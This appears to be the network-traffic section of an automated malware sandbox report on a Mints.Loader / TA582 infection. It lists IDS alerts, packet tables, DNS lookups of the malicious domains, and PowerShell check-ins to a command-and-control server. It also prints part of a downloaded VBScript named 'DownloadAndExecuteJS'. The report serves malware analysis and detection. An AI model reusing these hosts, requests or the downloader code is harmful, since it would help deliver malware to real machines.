2024-12-20T12:48:34.942793+0100	2057063	ET MALWARE Mints.Loader CnC Activity (GET)	1	192.168.2.4	49738	206.188.197.242	80	TCP
2024-12-20T12:48:34.942793+0100	2057743	ET MALWARE TA582 CnC Checkin	1	192.168.2.4	49738	206.188.197.242	80	TCP
2024-12-20T12:48:56.956555+0100	2057063	ET MALWARE Mints.Loader CnC Activity (GET)	1	192.168.2.4	49745	206.188.197.242	80	TCP
2024-12-20T12:48:56.956555+0100	2057743	ET MALWARE TA582 CnC Checkin	1	192.168.2.4	49745	206.188.197.242	80	TCP
2024-12-20T12:48:56.972146+0100	2057063	ET MALWARE Mints.Loader CnC Activity (GET)	1	192.168.2.4	49746	206.188.197.242	80	TCP
2024-12-20T12:48:56.972146+0100	2057743	ET MALWARE TA582 CnC Checkin	1	192.168.2.4	49746	206.188.197.242	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 12:48:00.261765003 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:00.261864901 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:00.261946917 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:00.271456957 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:00.271497965 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:01.702119112 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:01.702272892 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:01.861181974 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:01.861238003 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:01.862215996 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:01.885333061 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:01.927375078 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:02.304281950 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:02.304332972 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:02.304433107 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:02.304496050 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:02.305850029 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:02.305943012 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:02.325225115 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:02.325254917 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:03.076241016 CET	49733	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:03.076286077 CET	443	49733	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:03.076366901 CET	49733	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:03.229634047 CET	49733	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:03.229665995 CET	443	49733	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:03.487274885 CET	49734	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:03.487375021 CET	443	49734	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:03.487466097 CET	49734	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:03.505783081 CET	49734	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:03.505824089 CET	443	49734	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:04.650223017 CET	443	49733	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:04.650322914 CET	49733	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:04.791099072 CET	49733	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:04.791126013 CET	443	49733	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:04.791743040 CET	443	49733	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:04.791805029 CET	49733	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:04.793453932 CET	49733	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:04.835339069 CET	443	49733	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:04.922808886 CET	443	49734	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:04.923027039 CET	49734	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:04.983277082 CET	49734	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:04.983347893 CET	443	49734	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:04.984253883 CET	443	49734	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:04.984337091 CET	49734	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:04.985975981 CET	49734	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.031341076 CET	443	49734	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:05.219502926 CET	443	49733	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:05.219532967 CET	443	49733	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:05.219571114 CET	49733	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.219613075 CET	443	49733	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:05.219638109 CET	443	49733	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:05.219644070 CET	49733	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.219700098 CET	49733	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.219700098 CET	49733	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.222990036 CET	49733	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.223038912 CET	443	49733	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:05.249485970 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.249547005 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:05.249629021 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.249876022 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.249905109 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:05.457644939 CET	443	49734	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:05.457721949 CET	443	49734	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:05.457882881 CET	49734	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.457882881 CET	49734	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.457890034 CET	443	49734	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:05.457950115 CET	49734	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.459372044 CET	49734	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.459408045 CET	443	49734	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:05.469527960 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.469552994 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:05.469621897 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.469901085 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:05.469913006 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:06.669034958 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:06.669140100 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:06.669672966 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:06.669688940 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:06.669960976 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:06.669967890 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:06.882373095 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:06.882441044 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:06.883174896 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:06.883191109 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:06.883579016 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:06.883585930 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.210839987 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.210890055 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.210973024 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.211033106 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.211066961 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.211096048 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.328304052 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.328435898 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.414628983 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.414726019 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.424817085 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.424850941 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.424881935 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.424907923 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.424921989 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.424947977 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.436630964 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.436727047 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.465842962 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.465940952 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.507972956 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.508048058 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.542490005 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.542718887 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.603260994 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.603403091 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.624183893 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.624306917 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.629684925 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.629770041 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.645571947 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.645662069 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.653201103 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.653431892 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.664133072 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.664261103 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.678081989 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.678177118 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.684456110 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.684536934 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.692265034 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.692365885 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.710776091 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.710875034 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.718125105 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.718200922 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.724716902 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.724823952 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.790803909 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.790879011 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.804231882 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.804317951 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.813743114 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.813828945 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.815424919 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.815498114 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.826513052 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.826586008 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.829045057 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.829164982 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.841228008 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.841304064 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.849467039 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.849545002 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.850769997 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.850860119 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.856298923 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.856384993 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.861897945 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.861974955 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.863111019 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.863181114 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.869096994 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.869172096 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.874574900 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.874645948 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.876773119 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.876842022 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.881042957 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.881110907 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.886667967 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.886737108 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.891067028 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.891259909 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.892607927 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.892689943 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.905380011 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.905456066 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.908571005 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.908641100 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.933506966 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.933577061 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.979823112 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.979923964 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.985407114 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.985507011 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.990752935 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.990839958 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:07.997281075 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:07.997371912 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.000607967 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.000689030 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.000703096 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.000757933 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.000868082 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.000868082 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.000932932 CET	443	49735	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.000988007 CET	49735	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.004556894 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.004645109 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.014893055 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.014959097 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.025351048 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.025427103 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.037722111 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.037807941 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.046135902 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.046224117 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.054677010 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.054766893 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.061656952 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.061729908 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.066952944 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.067034006 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.072422981 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.072514057 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.078464985 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.078588963 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.080245972 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.080315113 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.080328941 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.080346107 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.080393076 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.080400944 CET	443	49736	78.138.9.153	192.168.2.4
Dec 20, 2024 12:48:08.080415964 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.080415964 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.080415964 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:08.080447912 CET	49736	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:48:12.898567915 CET	49737	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:12.906352043 CET	49738	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:13.018390894 CET	80	49737	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:13.018527031 CET	49737	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:13.021723986 CET	49737	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:13.025984049 CET	80	49738	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:13.026071072 CET	49738	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:13.026748896 CET	49738	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:13.141261101 CET	80	49737	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:13.146272898 CET	80	49738	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:34.940617085 CET	80	49737	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:34.940663099 CET	80	49738	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:34.940973043 CET	49737	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:34.942792892 CET	49738	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:34.952147961 CET	49738	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:34.952222109 CET	49737	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:34.955394983 CET	49745	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:34.955415010 CET	49746	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:35.072474957 CET	80	49738	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:35.072525024 CET	80	49737	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:35.075750113 CET	80	49745	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:35.075803041 CET	80	49746	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:35.075867891 CET	49745	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:35.075990915 CET	49746	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:35.076037884 CET	49745	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:35.076078892 CET	49746	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:35.201498985 CET	80	49745	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:35.201539993 CET	80	49746	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:56.956465006 CET	80	49745	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:56.956554890 CET	49745	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:56.960328102 CET	49745	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:56.972069025 CET	80	49746	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:56.972146034 CET	49746	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:56.972557068 CET	49746	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:48:57.079808950 CET	80	49745	206.188.197.242	192.168.2.4
Dec 20, 2024 12:48:57.092050076 CET	80	49746	206.188.197.242	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 12:47:59.960613966 CET	55803	53	192.168.2.4	1.1.1.1
Dec 20, 2024 12:48:00.255522966 CET	53	55803	1.1.1.1	192.168.2.4
Dec 20, 2024 12:48:12.646616936 CET	51594	53	192.168.2.4	1.1.1.1
Dec 20, 2024 12:48:12.878777981 CET	53	51594	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 12:47:59.960613966 CET	192.168.2.4	1.1.1.1	0x7994	Standard query (0)	file-download.bytez.cloud	A (IP address)	IN (0x0001)	false
Dec 20, 2024 12:48:12.646616936 CET	192.168.2.4	1.1.1.1	0x9507	Standard query (0)	bmuegbvuz7u3b.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 12:48:00.255522966 CET	1.1.1.1	192.168.2.4	0x7994	No error (0)	file-download.bytez.cloud		78.138.9.153	A (IP address)	IN (0x0001)	false
Dec 20, 2024 12:48:12.878777981 CET	1.1.1.1	192.168.2.4	0x9507	No error (0)	bmuegbvuz7u3b.top		206.188.197.242	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

file-download.bytez.cloud

bmuegbvuz7u3b.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	206.188.197.242	80	8100	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 12:48:13.021723986 CET	177	OUT	GET /1.php?s=mints21 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: bmuegbvuz7u3b.top Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	206.188.197.242	80	8032	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 12:48:13.026748896 CET	177	OUT	GET /1.php?s=mints21 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: bmuegbvuz7u3b.top Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49745	206.188.197.242	80	8100	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 12:48:35.076037884 CET	177	OUT	GET /1.php?s=mints21 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: bmuegbvuz7u3b.top Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49746	206.188.197.242	80	8032	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 12:48:35.076078892 CET	177	OUT	GET /1.php?s=mints21 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: bmuegbvuz7u3b.top Connection: Keep-Alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	78.138.9.153	443	7564	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 11:48:01 UTC	120	OUT	GET /676556be12355/676556be12aca.vbs HTTP/1.1 Host: file-download.bytez.cloud User-Agent: curl/7.83.1 Accept: /
2024-12-20 11:48:02 UTC	224	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 11:48:02 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Fri, 20 Dec 2024 11:36:30 GMT ETag: "786-629b20ed5d52f" Accept-Ranges: bytes Content-Length: 1926 Connection: close
2024-12-20 11:48:02 UTC	1926	IN	Data Raw: 4f 70 74 69 6f 6e 20 45 78 70 6c 69 63 69 74 0a 0a 53 75 62 20 44 6f 77 6e 6c 6f 61 64 41 6e 64 45 78 65 63 75 74 65 4a 53 28 62 61 73 65 55 72 6c 2c 20 6c 69 73 74 45 6e 64 70 6f 69 6e 74 2c 20 6a 73 46 6f 6c 64 65 72 29 0a 20 20 20 20 44 69 6d 20 78 6d 6c 68 74 74 70 2c 20 66 73 6f 2c 20 73 68 65 6c 6c 2c 20 6a 73 46 69 6c 65 73 2c 20 73 65 6c 65 63 74 65 64 46 69 6c 65 2c 20 74 65 6d 70 46 6f 6c 64 65 72 2c 20 6a 73 46 69 6c 65 50 61 74 68 0a 20 20 20 20 53 65 74 20 78 6d 6c 68 74 74 70 20 3d 20 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 4d 53 58 4d 4c 32 2e 58 4d 4c 48 54 54 50 22 29 0a 20 20 20 20 53 65 74 20 66 73 6f 20 3d 20 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 53 63 72 69 70 74 69 6e 67 2e 46 69 6c 65 53 79 73 74 65 6d 4f 62 6a 65 63 74 22 29 Data Ascii: Option ExplicitSub DownloadAndExecuteJS(baseUrl, listEndpoint, jsFolder) Dim xmlhttp, fso, shell, jsFiles, selectedFile, tempFolder, jsFilePath Set xmlhttp = CreateObject("MSXML2.XMLHTTP") Set fso = CreateObject("Scripting.FileSystemObject")

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	78.138.9.153	443	7704	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
